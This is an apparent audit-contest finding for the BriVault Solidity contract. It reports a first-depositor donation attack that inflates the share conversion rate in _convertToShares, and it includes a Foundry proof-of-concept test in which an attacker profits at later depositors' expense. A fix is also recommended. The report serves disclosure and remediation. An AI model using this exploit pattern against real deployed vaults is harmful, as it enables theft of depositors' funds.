BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Tracking of balance of assets using `IERC20(asset()).balanceOf(address(this))` allows an attacker to donate assets and inflate the conversion rate.

0xarinaitwe

Tracking of balance of assets using IERC20(asset()).balanceOf(address(this)) allows an attacker to donate assets and inflate the conversion rate.

Description

The finding has been idenfied within the _convertToShares function of the BriVault contract.

function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply(); // total minted BTT shares so far
​
if (totalShares == 0 || balanceOfVault == 0) {
// First depositor: 1:1 ratio
return assets;
}
​
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}

The _convertToShares functions tracks balance of assets in the contract using ERC20's balanceOf which returns the asset balance of the contract at that time. The weakness with this approach is that a malicious user can transfer assets to the contract directly without using the contract's deposit function, this increases the balance of assets which are not backed by shares hence inflating the conversion rate at which users mint shares.

A malicious first depositor will first deposit a few tokens, then donates tokens by transferring which drastically increases the conversion rate.
The next depositors will deposit and mint way less shares since the conversion rate has been inflated.
After the tournament has ended, the malicious user withdraws more assets and nets a profit

Risk

Likelihood:

  • This occurs when an attacker is the first to deposit.

Impact:

High

  • Donating assets inflates the conversion rate hence users will mint less shares for the amount of assets deposited, even worse, there is no slippage protection for the user to specify a minimum amount they are willing to receive. In some cases, users receive zero shares.

Proof of Concept

Proof of Concept:

  1. Attacker who is the first depositor deposits a minimum amount

  2. Then donates massive tokens to the vault

  3. Conversion rate is inflated

  4. Next depositors will mint less shares for their deposits or even zero shares at times

  5. At the end of the tournament, attacker withdraws outsized assets netting massive profits

Add this test to briVault.t.sol, then run forge test --mt testDonationAttack -vvvv

function setUp() public {
participationFeeBsp = 150; // 1.5%
eventStartDate = block.timestamp + 2 days;
eventEndDate = eventStartDate + 31 days;
participationFeeAddress = makeAddr("participationFeeAddress");
minimumAmount = 0.0002 ether;
​
mockToken = new MockERC20("Mock Token", "MTK");
​
mockToken.mint(owner, 20 ether);
mockToken.mint(user1, 20 ether);
mockToken.mint(user2, 20 ether);
mockToken.mint(user3, 20 ether);
mockToken.mint(user4, 20 ether);
mockToken.mint(user5, 20 ether);
​
vm.startPrank(owner);
briVault = new BriVault(
IERC20(address(mockToken)), // replace `address(0)` with actual _asset address
participationFeeBsp,
eventStartDate,
participationFeeAddress,
minimumAmount,
eventEndDate
);
​
briVault.approve(address(mockToken), type(uint256).max);
​
// Admin sets countries
briVault.setCountry(countries);
​
vm.stopPrank();
}
​
function testDonationAttack() public {
address attacker = makeAddr("attacker");
uint256 mintAmount = 200_000 ether;
mockToken.mint(attacker, mintAmount);
​
uint256 depositAmount = 0.000205 ether;
uint256 donationAmount = 200_000 ether - depositAmount;
​
// Attacker deposits, joins event and donates to vault
vm.startPrank(attacker);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(depositAmount, attacker);
briVault.joinEvent(5);
mockToken.transfer(address(briVault), donationAmount);
vm.stopPrank();
​
// Other users
address[] memory otherUsers = new address[](10);
otherUsers[0] = makeAddr("1");
otherUsers[1] = makeAddr("2");
otherUsers[2] = makeAddr("3");
otherUsers[3] = makeAddr("4");
otherUsers[4] = makeAddr("5");
otherUsers[5] = makeAddr("6");
otherUsers[6] = makeAddr("7");
otherUsers[7] = makeAddr("8");
otherUsers[8] = makeAddr("9");
otherUsers[9] = makeAddr("10");
​
uint256 len = otherUsers.length;
​
// Other users deposit
for (uint8 x; x < len; ++x) {
if (x < 5) {
vm.startPrank(otherUsers[x]);
mockToken.mint(otherUsers[x], 500 ether);
uint256 amount = 500 ether;
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(amount, otherUsers[x]);
briVault.joinEvent(5);
vm.stopPrank();
} else {
vm.startPrank(otherUsers[x]);
mockToken.mint(otherUsers[x], 500_000 ether);
uint256 amount2 = 1_000 ether;
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(amount2, otherUsers[x]);
briVault.joinEvent(10);
vm.stopPrank();
}
}
​
// Warp the time for the event to start
vm.warp(block.timestamp + 2 days + 1 seconds);
// Warp the time for the event to end
vm.warp(block.timestamp + 31 days);
​
// Admin sets the winner
vm.startPrank(owner);
briVault.setWinner(5);
vm.stopPrank();
​
// Attacker withdraws
vm.startPrank(attacker);
briVault.withdraw();
vm.stopPrank();
​
// Winners claim winnings
for (uint8 i; i < 5; ++i) {
vm.startPrank(otherUsers[i]);
briVault.withdraw();
vm.stopPrank();
}
​
// Balances after winnings withdraw
uint256 user1Balance = mockToken.balanceOf(otherUsers[0]);
uint256 user2Balance = mockToken.balanceOf(otherUsers[1]);
uint256 user3Balance = mockToken.balanceOf(otherUsers[2]);
uint256 user4Balance = mockToken.balanceOf(otherUsers[3]);
uint256 user5Balance = mockToken.balanceOf(otherUsers[4]);
uint256 attackerBalance = mockToken.balanceOf(attacker);
​
// assertGe(attackerBalance, user1Balance);
assertGe(user1Balance, user2Balance);
assertGe(user2Balance, user3Balance);
​
console.log("Attacker net winnings: ", attackerBalance - (depositAmount + donationAmount));
console.log("User1 net winnings: ", user1Balance - 500 ether);
}

Recommended Mitigation

  • Track the balance of assets in the contract using a storage variable and update it whenever a user deposits.

uint256 public balanceOfVault;
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!